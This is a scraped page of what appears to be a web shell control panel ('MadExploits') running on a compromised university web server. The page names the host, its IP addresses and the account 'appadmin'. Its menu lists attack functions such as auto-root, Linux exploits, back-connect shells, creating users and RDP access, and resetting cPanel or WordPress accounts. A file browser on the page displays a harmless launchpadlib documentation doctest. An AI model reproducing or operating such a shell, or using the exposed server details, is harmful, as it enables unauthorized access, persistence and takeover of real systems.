Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.15.214.244
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python3-launchpadlib /
docs /
[ HOME SHELL ]
Name
Size
Permission
Action
files
[ DIR ]
drwxr-xr-x
Makefile
609
B
-rw-r--r--
command-line.rst
1.16
KB
-rw-r--r--
conf.py.gz
2.11
KB
-rw-r--r--
hosted-files.rst
2.86
KB
-rw-r--r--
index.rst
900
B
-rw-r--r--
introduction.rst.gz
3.51
KB
-rw-r--r--
operations.rst
858
B
-rw-r--r--
people.rst.gz
1.97
KB
-rw-r--r--
toplevel.rst
3.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : hosted-files.rst
************ Hosted files ************ The Launchpad web service sets restrictions on what kinds of documents can be written to a particular file. This test shows what happens when you try to upload a non-image for a field that expects an image. >>> from launchpadlib.testing.helpers import salgado_with_full_permissions >>> launchpad = salgado_with_full_permissions.login() >>> from launchpadlib.errors import HTTPError >>> mugshot = launchpad.me.mugshot >>> file_handle = mugshot.open("w", "image/png", "nonimage.txt") >>> file_handle.content_type 'image/png' >>> file_handle.filename 'nonimage.txt' >>> file_handle.write("Not an image.") >>> try: ... file_handle.close() ... except HTTPError, e: ... print e.content <BLANKLINE> The file uploaded was not recognized as an image; please check it and retry. Of course, uploading an image works fine. >>> import os >>> def load_image(filename): ... image_file = os.path.join( ... os.path.dirname(__file__), 'files', filename) ... return open(image_file).read() >>> image = load_image("mugshot.png") >>> len(image) 2260 >>> file_handle = mugshot.open("w", "image/png", "a-mugshot.png") >>> file_handle.write(image) >>> file_handle.close() == Error handling == The server may set restrictions on what kinds of documents can be written to a particular file. >>> file_handle = mugshot.open("w", "image/png", "nonimage.txt") >>> file_handle.content_type 'image/png' >>> file_handle.filename 'nonimage.txt' >>> file_handle.write("Not an image.") >>> file_handle.close() Traceback (most recent call last): ... BadRequest: HTTP Error 400: Bad Request ... == Caching == Hosted file resources implement the normal server-side caching mechanism. >>> file_handle = mugshot.open("w", "image/png", "image.png") >>> file_handle.write(image) >>> file_handle.close() >>> import httplib2 >>> httplib2.debuglevel = 1 >>> launchpad = salgado_with_full_permissions.login() connect: ... >>> mugshot = launchpad.me.mugshot send: ... The first request for a file retrieves the file from the server. >>> len(mugshot.open().read()) send: ... reply: 'HTTP/1.1 303 See Other... reply: 'HTTP/1.1 200 OK... 2260 The second request retrieves the file from the cache. After receiving the 303 request with its Location header, no further HTTP requests are issued because the Librarian's Cache-Control: headers tell us we already have a fresh copy. >>> len(mugshot.open().read()) send: ... reply: 'HTTP/1.1 303 See Other... header: Location: http://.../image.png ... 2260 Finally, some cleanup code that deletes the mugshot. >>> mugshot.delete() send: 'DELETE... reply: 'HTTP/1.1 200... >>> httplib2.debuglevel = 0
Close